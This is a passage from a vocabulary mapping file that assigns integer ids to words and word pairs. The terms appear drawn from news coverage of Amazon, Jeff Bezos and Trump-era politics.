exposure": 102041, "jamie": 102042, "perpetrator thenational": 102043, "georgiev northjersey": 102044, "piketty paper": 102045, "sleazy reverse": 102046, "2018 estimate": 102047, "mailbox data": 102048, "facebook unethical": 102049, "incentives ina": 102050, "nonsensical": 102051, "brush according": 102052, "power struggle": 102053, "committee servers": 102054, "laura palmer": 102055, "whiny": 102056, "detention deportations": 102057, "wrong people": 102058, "proposing": 102059, "know new": 102060, "cloud growth": 102061, "sens": 102062, "news pme": 102063, "traditional partners": 102064, "similar hats": 102065, "woman played": 102066, "completed trump": 102067, "dollar yuan": 102068, "pages dishing": 102069, "markupid play": 102070, "year increase": 102071, "845 8450": 102072, "returntypeofr4ee w9x": 102073, "finally decide": 102074, "u2 photo": 102075, "cnn chief": 102076, "recent measles": 102077, "properly peek": 102078, "massive jumbo": 102079, "noted sanchez": 102080, "headed lower": 102081, "lizzie good": 102082, "wage growth": 102083, "gsa": 102084, "bezos following": 102085, "warriors took": 102086, "gabbana sent": 102087, "immigrant places": 102088, "ordered review": 102089, "wrongly convinced": 102090, "cardsectionname": 102091, "eroded": 102092, "scamazon": 102093, "history trump": 102094, "penis looks": 102095, "sent quite": 102096, "avoid": 102097, "sellers offering": 102098, "raines offered": 102099, "butchered horse": 102100, "aboutbezos post": 102101, "1011252198221594624 ref_src": 102102, "believes government": 102103, "snl host": 102104, "based analytics": 102105, "trump payments": 102106, "amazon appointed": 102107, "merchant goods": 102108, "rahul": 102109, "bloomfield": 102110, "vince lombardi": 102111, "alert services": 102112, "egypt": 102113, "arabic": 102114, "employees subsequently": 102115, "atrace": 102116, "cbp ice": 102117, "shares recover": 102118, "emmy nominated": 102119, "national threat": 102120, "ehx3z5cmxb donald": 102121, "cooler": 102122, "stay financially": 102123, "trump ties": 102124, "bezos national": 102125, "chris dalby": 102126, "insurance policies": 102127, "little jedi": 102128, "real rub": 102129, "bradley tusk": 102130, "tract qualifies": 102131, "trice president": 102132, "amazon barely": 102133, "scouts updated": 102134, "filings state": 102135, "really creepy": 102136, "renovations": 102137, "robber baron": 102138, "reseller caught": 102139, "gaap pre": 102140, "week training": 102141, "significant cost": 102142, "sarah": 102143, "9k7": 102144, "actually starts": 102145, "kelly listens": 102146, "richard ben": 102147, "severance deal": 102148, "readers inside": 102149, "reciprocal ones": 102150, "portfolio ibm": 102151, "chain long": 102152, "says antitrust": 102153, "marta tellado": 102154, "experienced net": 102155, "blow": 102156, "assaulted": 102157, "conduct according": 102158, "observant detective": 102159, "citizen dave": 102160, "control checked": 102161, "pecker describing": 102162, "guests worried": 102163, "lesley stahl": 102164, "outsized moves": 102165, "overruled parole": 102166, "worth shoved": 102167, "memphis read": 102168, "word washington": 102169, "existential threat": 102170, "gop gains": 102171, "music city": 102172, "today national": 102173, "vacates": 102174, "public company": 102175, "monopoly things": 102176, "told business": 102177, "98point6 gaining": 102178, "new users": 102179, "internet shopping": 102180, "policy newsletter": 102181, "way better": 102182, "bruce willis": 102183, "company haughty": 102184, "jaspers": 102185, "luiz cornacchioni": 102186, "strictly prohibits": 102187, "officials aided": 102188, "reform doesn": 102189, "worth 132": 102190, "winning political": 102191, "143 operator": 102192, "really strong": 102193, "flynn check": 102194, "writer jamal": 102195, "states jeff": 102196, "new app": 102197, "investopedia": 102198, "thrones stye": 102199, "decoupling throne": 102200, "partner lp": 102201, "segment sean": 102202, "allows customers": 102203, "economics professors": 102204, "disrupt established": 102205, "ex machina": 102206, "lunatic left": 102207, "upstairs": 102208, "memo bannon": 102209, "biggest public": 102210, "rightfully celebrates": 102211, "immensely": 102212, "levels amzn": 102213, "2018 organized": 102214, "support congestion": 102215, "puck": 102216, "malcolm": 102217, "liberty blitzkrieg": 102218, "falling silent": 102219, "agricultural production": 102220, "departures man": 102221, "cramped house": 102222, "close race": 102223, "vestager team": 102224, "bezos slamming": 102225, "york shows": 102226, "services heck": 102227, "remain intact": 102228, "c0 c0": 102229, "quarter outburst": 102230, "currentvideocollectionid": 102231, "wiseman offers": 102232, "south carolina": 102233, "ourforeign policy": 102234, "finally trashed": 102235, "togetherthat": 102236, "key executives": 102237, "stagnation brian": 102238, "reports directly": 102239, "royalty collection": 102240, "real moser": 102241, "gianaris wants": 102242, "company applying": 102243, "numerous attacks": 102244, "thewrap": 102245, "tech time": 102246, "washington regulators": 102247, "executives demanded": 102248, "paused": 102249, "valley corporate": 102250, "iemg": 102251, "entire investigation": 102252, "bestseller list": 102253, "cmpid": 102254, "kleiner perkins": 102255, "bamboozled": 102256, "employees depended": 102257, "streamlining": 102258, "trillion dollars": 102259, "125 jobs": 102260, "people advocating": 102261, "martin consensus": 102262, "2018 compared": 102263, "mixes blends": 102264, "week 2016": 102265, "trumpworld": 102266, "restaurant attracts": 102267, "carrier efforts": 102268, "underwriters": 102269, "defense analyst": 102270, "raposa": 102271, "queensbridge houses": 102272, "berated harley": 102273, "born brahmins": 102274, "company motto": 102275, "amplifying diverse": 102276, "damages": 102277, "exchanges bezos": 102278, "amazon produced": 102279, "stronger government": 102280, "forcefully": 102281, "collar foreign": 102282, "petty": 102283, "working stiffs": 102284, "earning 120": 102285, "antibiotics": 102286, "ben thanks": 102287, "duque talked": 102288, "slice intelligence": 102289, "book abramson": 102290, "zinke friend": 102291, "healthcare governments": 102292, "amazon started": 102293, "research marriage": 102294, "bateman murder": 102295, "deflected scarce": 102296, "america building": 102297, "quoting newsweek": 102298, "150 decibels": 102299, "index 500": 102300, "appoint elected": 102301, "correction cibc": 102302, "sequitur selden": 102303, "2020 reelection": 102304, "launch prime": 102305, "brings25 000": 102306, "opened": 102307, "need nancy": 102308, "cara camacho": 102309, "president vladimir": 102310, "justice sonia": 102311, "profits grew": 102312, "aljazeera north": 102313, "testimonials": 102314, "manipulation potus": 102315, "amazon regardless": 102316, "power hydralight": 102317, "state amazon": 102318, "houses": 102319, "amazon bought": 102320, "hit cold": 102321, "presidential looming": 102322, "steven senne": 102323, "titans digital": 102324, "giant suppressed": 102325, "quarter reports": 102326, "poliltical": 102327, "effectively write": 102328, "vocal defender": 102329, "virtualization": 102330, "apple computers": 102331, "hourly drivers": 102332, "models amazon": 102333, "ana": 102334, "literary origins": 102335, "company completed": 102336, "mind begin": 102337, "held enemy": 102338, "silly acting": 102339, "residents serving": 102340, "valuation marks": 102341, "treatment sbirt": 102342, "ap video": 102343, "target date": 102344, "gains despite": 102345, "redirects": 102346, "economy looks": 102347, "sampson davis": 102348, "manchester": 102349, "high margin": 102350, "estimate amazon": 102351, "cresset": 102352, "definitively illegal": 102353, "picoult read": 102354, "apparently incensed": 102355, "report fearful": 102356, "disagreed": 102357, "primary cloud": 102358, "enright resident": 102359, "profits richard": 102360, "election ballot": 102361, "record labor": 102362, "stocks overview": 102363, "massoud aladdin": 102364, "news channel": 102365, "picks wire": 102366, "delays smalls": 102367, "phil great": 102368, "200 defendants": 102369, "strategies president": 102370, "budget watchdog": 102371, "york tech": 102372, "2283a sanders": 102373, "repeatedly alleged": 102374, "dating": 102375, "words says": 102376, "hard cash": 102377, "investopedia conglomerate": 102378, "dad drives": 102379, "fedex founder": 102380, "songwriter jann": 102381, "googl facebook": 102382, "amazon squeezed": 102383, "mackowiak": 102384, "hollywood turned": 102385, "losing business": 102386, "hardened": 102387, "best contemporary": 102388, "000 yr": 102389, "transportation bottlenecks": 102390, "aziz": 102391, "b0 d4a": 102392, "triggering perpetually": 102393, "el segundo": 102394, "effectively function": 102395, "affect sales": 102396, "impacted amazon": 102397, "falling ad": 102398, "right recall": 102399, "understaffed": 102400, "shadowy cabal": 102401, "material risk": 102402, "officials underscores": 102403, "visit washington": 102404, "281 shares": 102405, "2fjeff bezos": 102406, "ami": 102407, "funding provided": 102408, "cassell": 102409, "tenn based": 102410, "medium": 102411, "freaked": 102412, "future amazon": 102413, "director aclu": 102414, "anonymity told": 102415, "tax trump": 102416, "chinese provider": 102417, "denounce amazon": 102418, "business scene": 102419, "lauren sanchez": 102420, "shutdown 2020": 102421, "constituents embedded": 102422, "gained nearly": 102423, "texas freight": 102424, "online route": 102425, "larger prices": 102426, "bezos celebrating": 102427, "truly spectacular": 102428, "assets read": 102429, "mithila palkar": 102430, "cnn democrats": 102431, "cat_id": 102432, "wrote overall": 102433, "confidence vote": 102434, "administration calling": 102435, "cnet magazine": 102436, "reverse mortgages": 102437, "competition announced": 102438, "documentaries add": 102439, "charter": 102440, "using different": 102441, "korea russia": 102442, "results potential": 102443, "oppo realme": 102444, "oliver takes": 102445, "893 shares": 102446, "early fourth": 102447, "killer lines": 102448, "impacts competition": 102449, "bernstein chief": 102450, "kevin": 102451, "spokesman claimed": 102452, "reuters wall": 102453, "online fakes": 102454, "secretly plotting": 102455, "make itunaffordable": 102456, "leaders tried": 102457, "claimed adding": 102458, "service fee": 102459, "ore celebrates": 102460, "biggest government": 102461, "critics 2018": 102462, "institute group": 102463, "country history": 102464, "story woman": 102465, "margaret brennan": 102466, "bb gun": 102467, "currency occ": 102468, "gray senior": 102469, "gop fighting": 102470, "browsing various": 102471, "partly attributable": 102472, "centuries": 102473, "cloud planning": 102474, "reign queen": 102475, "country regime": 102476, "pictures stuart": 102477, "company crosshairs": 102478, "embarrassing sexual": 102479, "campus amazon": 102480, "haircut need": 102481, "labor regardless": 102482, "glen started": 102483, "vendors software": 102484, "energy general": 102485, "tweeted gm": 102486, "ecommerce spend": 102487, "company international": 102488, "york practical": 102489, "heart kidney": 102490, "premised": 102491, "future smartphone": 102492, "gleaming sedan": 102493, "practiced": 102494, "x8 j8i": 102495, "free beacon": 102496, "medium essay": 102497, "depicting donald": 102498, "political ideology": 102499, "citizen participation": 102500, "new site": 102501, "feces": 102502, "committees microsoft": 102503, "berenstein": 102504, "2018 despite": 102505, "keyword": 102506, "legislative power": 102507, "enquirer bid": 102508, "deforestation free": 102509, "unique committees": 102510, "htc debuts": 102511, "aisle": 102512, "financing": 102513, "soccer games": 102514, "annum": 102515, "senator trump": 102516, "debot eitc": 102517, "report": 102518, "director mccabe": 102519, "general probed": 102520, "russia investigations": 102521, "tunney act": 102522, "caveat consistently": 102523, "sheikh friends": 102524, "asked elkan": 102525, "congestion problem": 102526, "analysts amazon": 102527, "pillpack 2018": 102528, "epa head": 102529, "exhibitionist": 102530, "copyright image": 102531, "alleged enquirer": 102532, "o2x p0": 102533, "abc amtrak": 102534, "image screenshot": 102535, "pudos": 102536, "foreign legion": 102537, "user amazon": 102538, "fun creating": 102539, "possibility believe": 102540, "worldtribune": 102541, "predecessor barack": 102542, "act targeting": 102543, "company chairman": 102544, "crispr": 102545, "fact growing": 102546, "bezos seized": 102547, "articulate set": 102548, "include standard": 102549, "pro israel": 102550, "change trump": 102551, "bettencourt": 102552, "administration conducted": 102553, "market india": 102554, "viral ging": 102555, "giant expands": 102556, "baritone": 102557, "today followed": 102558, "hq2 quandary": 102559, "service reported": 102560, "100418 super": 102561, "abuses employees": 102562, "bloomberg facebook": 102563, "block merger": 102564, "delivery customer": 102565, "responses": 102566, "business background": 102567, "fortunate career": 102568, "1fzelcw": 102569, "overrides catch": 102570, "maybe check": 102571, "average hours": 102572, "internal capabilities": 102573, "real deal": 102574, "edition published": 102575, "ecommercechris": 102576, "lawyer alan": 102577, "harmony": 102578, "sift": 102579, "accommodating": 102580, "mocked bezos": 102581, "weight nearly": 102582, "stupid comment": 102583, "freer trade": 102584, "service founded": 102585, "highlighting problem": 102586, "banks spent": 102587, "attention trump": 102588, "amazon dropped": 102589, "purports": 102590, "need rogers": 102591, "wing rep": 102592, "slipping pic": 102593, "seattle ap": 102594, "controversies daily": 102595, "mercer": 102596, "2rqdhqz graves": 102597, "circumstance": 102598, "person given": 102599, "xi says": 102600, "investigations served": 102601, "jaselskis parents": 102602, "trump rage": 102603, "turkey trot": 102604, "luisa brimble": 102605, "typical citizen": 102606, "137 funds": 102607, "bad performance": 102608, "sow trouble": 102609, "income taxes": 102610, "2018 georgia": 102611, "powerful retailers": 102612, "companies buyerzonewidgets": 102613, "including morgan": 102614, "reuters student": 102615, "repeatedly attempted": 102616, "global growth": 102617, "transpired": 102618, "1014_76a772458fdb8087939d21aa53b90eed jpg": 102619, "haley russia": 102620, "york emerging": 102621, "policies returned": 102622, "state dining": 102623, "targeted crackdown": 102624, "separate company": 102625, "army npa": 102626, "materially impact": 102627, "investigation saying": 102628, "notably doesn": 102629, "purge did": 102630, "game arkansas": 102631, "looking campaign": 102632, "profitability amazon": 102633, "workers overall": 102634, "star widely": 102635, "somewhat awkward": 102636, "normally 100": 102637, "virginian coal": 102638, "street trump": 102639, "benavides holding": 102640, "quadrennial cleaning": 102641, "home connecticut": 102642, "cost costco": 102643, "soap opera": 102644, "recorded donald": 102645, "life led": 102646, "search query": 102647, "vietnam prisoner": 102648, "planning military": 102649, "stephens": 102650, "organized actions": 102651, "f4a return": 102652, "2018 presented": 102653, "phone cases": 102654, "mnuchin urging": 102655, "roy wood": 102656, "product guy": 102657, "myrtle": 102658, "strong response": 102659, "chef boyarde": 102660, "l4e tlx": 102661, "pennsylvania priests": 102662, "thiel provides": 102663, "reignited": 102664, "bryn": 102665, "hasn translated": 102666, "satellite headquarters": 102667, "chart reading": 102668, "affirmed": 102669, "ultimate question": 102670, "industrial metals": 102671, "intimately": 102672, "service retiree": 102673, "podcast": 102674, "include plan": 102675, "london waxwork": 102676, "services reliable": 102677, "bosses earn": 102678, "job poorly": 102679, "different preferences": 102680, "look nice": 102681, "sympathetic metoo": 102682, "asked ice": 102683, "client roster": 102684, "gigantic ceos": 102685, "generate intense": 102686, "edward wong": 102687, "literary agent": 102688, "jitters": 102689, "ratings declined": 102690, "expending": 102691, "details accurately": 102692, "run new": 102693, "mining rainforests": 102694, "foreigner hit": 102695, "just dropped": 102696, "yara elmjouie": 102697, "rolando": 102698, "differential": 102699, "official term": 102700, "online stores": 102701, "killer everybody": 102702, "involved physical": 102703, "government targets": 102704, "impenetrable barrier": 102705, "land": 102706, "guy": 102707, "public statement": 102708, "kanye": 102709, "hill story": 102710, "unitedhealth unh": 102711, "reschedule": 102712, "indian pilot": 102713, "lamborghini": 102714, "usa uu": 102715, "future success": 102716, "wmt": 102717, "geo challenge": 102718, "press endangers": 102719, "dubs fake": 102720, "scampering": 102721, "accused chinese": 102722, "kim pledged": 102723, "racial diversity": 102724, "latest mobile": 102725, "dr peter": 102726, "amazon account": 102727, "press today": 102728, "states digital": 102729, "toronto global": 102730, "author takes": 102731, "atlanta human": 102732, "force currently": 102733, "devil lettuce": 102734, "politico message": 102735, "confident bezos": 102736, "created believe": 102737, "heart soaringly": 102738, "latest clue": 102739, "detain record": 102740, "dis abc": 102741, "doubt hoping": 102742, "net margins": 102743, "anchovies": 102744, "logoed": 102745, "change nation": 102746, "advisor major": 102747, "batting": 102748, "brand reputation": 102749, "big emphasis": 102750, "following congressional": 102751, "american marketplace": 102752, "employees customers": 102753, "newspaper reported": 102754, "executive editor": 102755, "shipping containers": 102756, "global threats": 102757, "brief movie": 102758, "hiddleston": 102759, "reaction": 102760, "oversee": 102761, "photos featuring": 102762, "individual mandate": 102763, "k4a tostring": 102764, "dates breakups": 102765, "game engine": 102766, "comcast bidding": 102767, "obvious dress": 102768, "mining waste": 102769, "wearing baseball": 102770, "previously republicans": 102771, "ending witch": 102772, "warmest wishes": 102773, "upset": 102774, "commission department": 102775, "extremely wealthy": 102776, "streaming president": 102777, "providing information": 102778, "human menagerie": 102779, "reform": 102780, "grade": 102781, "avoidance delusion": 102782, "possible source": 102783, "stock gain": 102784, "took jab": 102785, "hale celebrate": 102786, "nearly half": 102787, "manny": 102788, "riskier": 102789, "ignore glaring": 102790, "chart heute": 102791, "harassment instead": 102792, "tiny comb": 102793, "biggest success": 102794, "foster innovation": 102795, "company bloomberg": 102796, "immigration detention": 102797, "ultra billionaire": 102798, "day dw": 102799, "loud sharp": 102800, "similar workers": 102801, "unnamed tax": 102802, "commission according": 102803, "boosts alliance": 102804, "single quarter": 102805, "entitled florida": 102806, "image 970x450": 102807, "president nationalism": 102808, "relative fringes": 102809, "youngster hit": 102810, "priestly": 102811, "produce president": 102812, "rollout warehouse": 102813, "nadella": 102814, "audio recordings": 102815, "driven family": 102816, "stones": 102817, "anticipated book": 102818, "connelly rice": 102819, "jody": 102820, "news contained": 102821, "year profit": 102822, "simoes": 102823, "cd active": 102824, "ma spoke": 102825, "ida terkel": 102826, "nov 1996": 102827, "information arbitrage": 102828, "baby blimp": 102829, "flow positive": 102830, "bombard": 102831, "department report": 102832, "word just": 102833, "money invested": 102834, "angry tweeting": 102835, "add stop": 102836, "fairs mike": 102837, "ohio family": 102838, "california synagogue": 102839, "rains tori": 102840, "kate patchen": 102841, "search details": 102842, "communications involving": 102843, "delivered relatively": 102844, "wanted bezos": 102845, "democrats formally": 102846, "data gives": 102847, "brake job": 102848, "taxpayers billions": 102849, "indulged": 102850, "official announcement": 102851, "review does": 102852, "complexifier bezos": 102853, "getting dui": 102854, "stock disasters": 102855, "obsessive tweets": 102856, "new prices": 102857, "votes cast": 102858, "padding amazon": 102859, "hughes chairman": 102860, "noomi": 102861, "dance festival": 102862, "goals 2019": 102863, "cc66d8b3d8354d7686ff849b53fcb798 9411680da8c6402caa7d14b071daa953": 102864, "desperately": 102865, "startling": 102866, "cat": 102867, "kennedy cited": 102868, "upbeat economic": 102869, "alternative minimum": 102870, "aparicio": 102871, "titled sean": 102872, "allegations directed": 102873, "open zach": 102874, "establishing global": 102875, "includes information": 102876, "publicize": 102877, "story 2016": 102878, "teenager": 102879, "hills earlier": 102880, "crash cdc": 102881, "longest war": 102882, "hp_lead_pos1 amazon": 102883, "feature amazon": 102884, "income aws": 102885, "suit later": 102886, "talk shows": 102887, "card information": 102888, "secure multi": 102889, "offers little": 102890, "market losses": 102891, "crime novelist": 102892, "drive job": 102893, "viewing platform": 102894, "business odd": 102895, "seahawks press": 102896, "foster engagement": 102897, "allowing friends": 102898, "figure took": 102899, "easily handle": 102900, "arising": 102901, "decentralized direct": 102902, "oliphant finds": 102903, "literal fake": 102904, "hq2scam rally": 102905, "southern command": 102906, "thrones iron": 102907, "humans obsolete": 102908, "happy good": 102909, "ad blocker": 102910, "coverage trump": 102911, "trump stopthebias": 102912, "asking folks": 102913, "amazons antitrust": 102914, "patient treated": 102915, "debt trading": 102916, "remote island": 102917, "stars aron": 102918, "question incentives": 102919, "everyday magic": 102920, "fbi working": 102921, "brexit won": 102922, "including lack": 102923, "uniform make": 102924, "authorize": 102925, "aid long": 102926, "website indicated": 102927, "reliable cellular": 102928, "unsecured": 102929, "amazon healthcare": 102930, "admitted": 102931, "amazon destroyer": 102932, "skeptical reuters": 102933, "protest demanding": 102934, "corporate entities": 102935, "invest lot": 102936, "tech gotten": 102937, "product legitimate": 102938, "companies nyse": 102939, "king historian": 102940, "time wake": 102941, "dow jones": 102942, "quickly retaliated": 102943, "skin born": 102944, "223 million": 102945, "freebies": 102946, "policy advisory": 102947, "amazon kenneth": 102948, "ruining": 102949, "sales speeches": 102950, "trump tells": 102951, "innovative technologies": 102952, "chester": 102953, "wife tracking": 102954, "escalates efforts": 102955, "dramedy": 102956, "says benjamin": 102957, "michelman vinny": 102958, "examining": 102959, "kotb": 102960, "provide businesses": 102961, "princess seriously": 102962, "analyst michael": 102963, "chocolatier": 102964, "conversion eve": 102965, "government waste": 102966, "ad highlighted": 102967, "cooper": 102968, "accused trump": 102969, "2006 amazon": 102970, "activists arrested": 102971, "nonpartisan organization": 102972, "assange finds": 102973, "monopoly bothers": 102974, "iphone doesn": 102975, "run surprisingly": 102976, "fluctuate": 102977, "brought roughly": 102978, "technology changing": 102979, "dignity": 102980, "gene alteration": 102981, "waterproof lightweight": 102982, "antitrust favoritism": 102983, "just intensified": 102984, "howie": 102985, "coalition crc": 102986, "jobs joining": 102987, "quest international": 102988, "arrived 100": 102989, "woe": 102990, "tensions remain": 102991, "regularly criticizes": 102992, "msnbc hardball": 102993, "international groups": 102994, "cp gurnani": 102995, "mpg": 102996, "dams deforestation": 102997, "militarized": 102998, "impending divorce": 102999, "conditions standing": 103000, "government agency": 103001, "global wine": 103002, "miami vice": 103003, "private digital": 103004, "ceases": 103005, "stock earlier": 103006, "2020 campaign": 103007, "insider read": 103008, "police suicides": 103009, "facebook employed": 103010, "costs incurred": 103011, "job creators": 103012, "john doerr": 103013, "shuster says": 103014, "hollowing": 103015, "alexa turn": 103016, "investigated alphabet": 103017, "lesar": 103018, "grudge bezos": 103019, "pharmaceuticals corporation": 103020, "usa": 103021, "amazon destruction": 103022, "cough cases": 103023, "madison center": 103024, "fully turns": 103025, "grabbing land": 103026, "2200": 103027, "composite sending": 103028, "filing emphasis": 103029, "bezos fully": 103030, "style photo": 103031, "depositing": 103032, "money time": 103033, "story peele": 103034, "way possible": 103035, "operating expense": 103036, "years jack": 103037, "price 7d": 103038, "secretly elvis": 103039, "arena sports": 103040, "weren looking": 103041, "bezos carlson": 103042, "uncontrollable": 103043, "agcom amazon": 103044, "guard troops": 103045, "brandeis": 103046, "york shares": 103047, "trump mouthpieces": 103048, "wanderlust": 103049, "poehler produced": 103050, "cw charmed": 103051, "pressure amid": 103052, "syringe": 103053, "trump commissioned": 103054, "couchbase receives": 103055, "snack": 103056, "examines": 103057, "immediately begin": 103058, "intimate phone": 103059, "store retail": 103060, "legacy fun": 103061, "second nvidia": 103062, "sending large": 103063, "tax tory": 103064, "dash": 103065, "delivers roughly": 103066, "develop administrative": 103067, "federal lands": 103068, "friends bezos": 103069, "1983": 103070, "amazon red": 103071, "dogging": 103072, "attend ap": 103073, "making successful": 103074, "rival jd": 103075, "plays suleiman": 103076, "yesterday met": 103077, "equal parts": 103078, "image making": 103079, "cnbc continued": 103080, "photo chris": 103081, "partners working": 103082, "238 communities": 103083, "extremely inexpensive": 103084, "china bloomberg": 103085, "google hauled": 103086, "starts rose": 103087, "refugees refugee": 103088, "wall think": 103089, "gain little": 103090, "spherical": 103091, "commentator gregg": 103092, "construction etcetera": 103093, "ferrero": 103094, "essential postal": 103095, "proposed tourist": 103096, "old leni": 103097, "repositions": 103098, "york thought": 103099, "cities suburbs": 103100, "rough estimates": 103101, "kids does": 103102, "just gathering": 103103, "accurate coverage": 103104, "usps charges": 103105, "stupid acquisitions": 103106, "publishers authors": 103107, "gotten worse": 103108, "limit losses": 103109, "brennan eventually": 103110, "madness": 103111, "center run": 103112, "formation": 103113, "adriana": 103114, "handheld": 103115, "significant resources": 103116, "comfortable maximizing": 103117, "marijuana titan": 103118, "idaho": 103119, "city councilmember": 103120, "explosive saga": 103121, "suspicious daughter": 103122, "institution": 103123, "ortis": 103124, "latency": 103125, "trump antagonist": 103126, "defense decision": 103127, "jab": 103128, "comfortable waiting": 103129, "election blues": 103130, "certainly caught": 103131, "offer american": 103132, "amazon recently": 103133, "266 sears": 103134, "tax responsibilities": 103135, "service costs": 103136, "shoplifters sorry": 103137, "terms amazon": 103138, "shareholder concerns": 103139, "korea hillicon": 103140, "giants bellowing": 103141, "tax true": 103142, "google twitter": 103143, "bezos divorcing": 103144, "replaced": 103145, "chinese electronics": 103146, "cramped barren": 103147, "nyt interview": 103148, "paul ii": 103149, "leader orders": 103150, "called police": 103151, "hide 2018": 103152, "response salles": 103153, "zawe ashton": 103154, "constitution pen": 103155, "internet juggernaut": 103156, "traffic higher": 103157, "services index": 103158, "401k millionaire": 103159, "american businesswoman": 103160, "wice divorced": 103161, "covering host": 103162, "blockchain network": 103163, "burrito lot": 103164, "amazon prior": 103165, "bradbury": 103166, "make additional": 103167, "add donald": 103168, "getting coffee": 103169, "premier xi": 103170, "kiichiro": 103171, "keeping watchful": 103172, "enact new": 103173, "esteemed yodeler": 103174, "105 billion": 103175, "cornbelly": 103176, "offering consumers": 103177, "510 billion": 103178, "massachusettes": 103179, "tonight wwe": 103180, "trump closes": 103181, "increasingly consequential": 103182, "subject tend": 103183, "candidate recently": 103184, "pioneer startup": 103185, "conversation fedex": 103186, "addresssed": 103187, "clinton read": 103188, "neighboring": 103189, "sorting area": 103190, "tech sgt": 103191, "things politics": 103192, "futures market": 103193, "yeah greer": 103194, "correspond": 103195, "hpe": 103196, "lower product": 103197, "book rises": 103198, "brookings institution": 103199, "region don": 103200, "genius maestro": 103201, "amazon failed": 103202, "cat chow": 103203, "requested reimbursement": 103204, "lewis firsthand": 103205, "smaller parts": 103206, "background conversations": 103207, "foreign piracy": 103208, "dangerous global": 103209, "congress launched": 103210, "patriotic trump": 103211, "recently deleted": 103212, "tech neighbourhood": 103213, "sessions mentally": 103214, "credit luis": 103215, "illegal activity": 103216, "escape plan": 103217, "weddings thousands": 103218, "dodged": 103219, "rod blagojevich": 103220, "fight began": 103221, "beneficial relationship": 103222, "education writers": 103223, "glenn greenwald": 103224, "trump headlines": 103225, "talent branded": 103226, "deck trumped": 103227, "briefly pulled": 103228, "head gm": 103229, "amzn relationship": 103230, "sports division": 103231, "evidence counters": 103232, "usps task": 103233, "year yield": 103234, "record arrests": 103235, "data led": 103236, "speed winning": 103237, "arrangement started": 103238, "culture justin": 103239, "alphabetical": 103240, "series axios": 103241, "new reality": 103242, "rosa california": 103243, "trump turnberry": 103244, "tweets suggesting": 103245, "ecclestone": 103246, "parents tell": 103247, "penn badgley": 103248, "quincy coca": 103249, "schooling": 103250, "rated selfies": 103251, "bob thornton": 103252, "robot available": 103253, "stronger relations": 103254, "csco": 103255, "danielle yeah": 103256, "chinese joint": 103257, "mason university": 103258, "dc court": 103259, "market google": 103260, "mailonline": 103261, "executives currently": 103262, "feel great": 103263, "malfunctioning alexa": 103264, "based shoe": 103265, "conservative": 103266, "project subsidies": 103267, "chief acquisition": 103268, "wool kept": 103269, "virginia economy": 103270, "b1": 103271, "state gov": 103272, "seen polling": 103273, "citi streetinsider": 103274, "predictable effective": 103275, "russia ambassador": 103276, "humanized": 103277, "sky stuff": 103278, "door having": 103279, "2nd quarter": 103280, "amazon hands": 103281, "increased credit": 103282, "pol": 103283, "distressed agency": 103284, "39m reports": 103285, "moon global": 103286, "hanes": 103287, "amazon creating": 103288, "denigrating fox": 103289, "historian rutger": 103290, "raise minimum": 103291, "investing markets": 103292, "buzzsaws": 103293, "invigorate towns": 103294, "les": 103295, "amazon builder": 103296, "drugmakers insurers": 103297, "lobbying dollar": 103298, "week highlighted": 103299, "certification flight": 103300, "scaled": 103301, "kennedy helenkennedy": 103302, "amazon medium": 103303, "unsuccessful": 103304, "modest means": 103305, "bring small": 103306, "welch axiom": 103307, "ght a787ba9a": 103308, "stream president": 103309, "carrie debuted": 103310, "technology leaders": 103311, "china grove": 103312, "spoke ahead": 103313, "reed uncovered": 103314, "dot": 103315, "warren destroys": 103316, "processed": 103317, "catchall ministry": 103318, "auditors": 103319, "day centers": 103320, "president allies": 103321, "best offers": 103322, "washington imposed": 103323, "clashing": 103324, "tcja slashed": 103325, "amazon intense": 103326, "ridiculous": 103327, "jane mayer": 103328, "voting sites": 103329, "videoplayer": 103330, "alphabet cigarettes": 103331, "trump alec": 103332, "trump tape": 103333, "reporter say": 103334, "remains returned": 103335, "squali": 103336, "england finland": 103337, "house veterans": 103338, "download follow": 103339, "controversies amazon": 103340, "selecting": 103341, "consider mark": 103342, "really pushing": 103343, "googled": 103344, "fluid motion": 103345, "amazon confirmed": 103346, "filmmaker dinesh": 103347, "celsius scales": 103348, "global perspective": 103349, "final joke": 103350, "really haven": 103351, "bryan politico": 103352, "reported won": 103353, "tariff": 103354, "beeman": 103355, "bobbie": 103356, "rosalind connor": 103357, "perfect": 103358, "executed profitably": 103359, "suggested reordering": 103360, "uw": 103361, "open rebellion": 103362, "process philadelphia": 103363, "local levels": 103364, "hitting 5000": 103365, "dulles international": 103366, "act according": 103367, "shift nike": 103368, "ge did": 103369, "party photo": 103370, "sommer": 103371, "rates netflix": 103372, "lack subway": 103373, "high hasn": 103374, "hooray isn": 103375, "debt kim": 103376, "junkies": 103377, "called head": 103378, "drunken state": 103379, "griffeth thank": 103380, "1535999249": 103381, "entire stake": 103382, "think thank": 103383, "fox hbo": 103384, "great run": 103385, "democrats amazon": 103386, "spain": 103387, "simplification": 103388, "summit houston": 103389, "pelosi criticize": 103390, "conflated lack": 103391, "including sourcing": 103392, "rung left": 103393, "galleria": 103394, "month mandating": 103395, "ohkarb7dbf michael": 103396, "chief fired": 103397, "discerning": 103398, "arthouse": 103399, "behavior trump": 103400, "unflattering stories": 103401, "life fox": 103402, "assembly education": 103403, "granted license": 103404, "gen digital": 103405, "fincl advisors": 103406, "sanders launch": 103407, "postgeorge": 103408, "treasurer vermont": 103409, "aapl free": 103410, "president good": 103411, "presidential attention": 103412, "ch": 103413, "storage according": 103414, "china don": 103415, "business business": 103416, "accurate articles": 103417, "expected lady": 103418, "attack remembrance": 103419, "holding signs": 103420, "president accusations": 103421, "washington free": 103422, "asked queens": 103423, "day waiting": 103424, "equally important": 103425, "freeze hunterdon": 103426, "influence think": 103427, "skyrocket news": 103428, "support sit": 103429, "tim fernholz": 103430, "revoking security": 103431, "sweet nothings": 103432, "af": 103433, "amazon rising": 103434, "reporters outside": 103435, "policing facebook": 103436, "babis babis": 103437, "thoughtful mature": 103438, "bee aired": 103439, "prime prime": 103440, "funding virtually": 103441, "reliance industries": 103442, "spent time": 103443, "amid widespread": 103444, "sized vendors": 103445, "policy ebony": 103446, "disliking": 103447, "decreased slightly": 103448, "total debt": 103449, "biolite": 103450, "alike based": 103451, "played bezos": 103452, "marriage divorce": 103453, "public disagreement": 103454, "independents ranked": 103455, "members met": 103456, "rubinstein": 103457, "run negative": 103458, "opinion blackstone": 103459, "amazon extraordinarily": 103460, "minding": 103461, "leave pets": 103462, "social fabric": 103463, "achieve savings": 103464, "people facebook": 103465, "northjersey": 103466, "cards netflix": 103467, "service storefronts": 103468, "act signed": 103469, "ceo dara": 103470, "husband us137": 